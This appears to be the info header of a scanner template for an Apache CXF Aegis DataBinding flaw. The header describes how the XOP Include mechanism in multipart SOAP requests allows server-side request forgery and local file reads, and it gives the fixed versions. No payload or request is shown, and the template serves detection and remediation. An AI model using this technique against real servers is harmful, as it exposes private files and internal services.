info:
  name: Apache CXF < 4.0.4 - Aegis DataBinding SSRF / Local File Read
  author: maciejklimek
  severity: high
  description: |
    Apache CXF before 4.0.4, 3.6.3 and 3.5.8 has a Server-Side Request Forgery (SSRF) vulnerability when using the Aegis DataBinding. The XOP Include mechanism in multipart SOAP requests can be abused to read local files or make server-side HTTP requests to arbitrary URLs. An attacker can use this to access sensitive internal resources.
  impact: |
    An attacker can read arbitrary files from the server and make server-side requests to internal services.
  remediation: Upgrade Apache CXF to version 4.0.4, 3.6.3, or 3.5.8 or later.
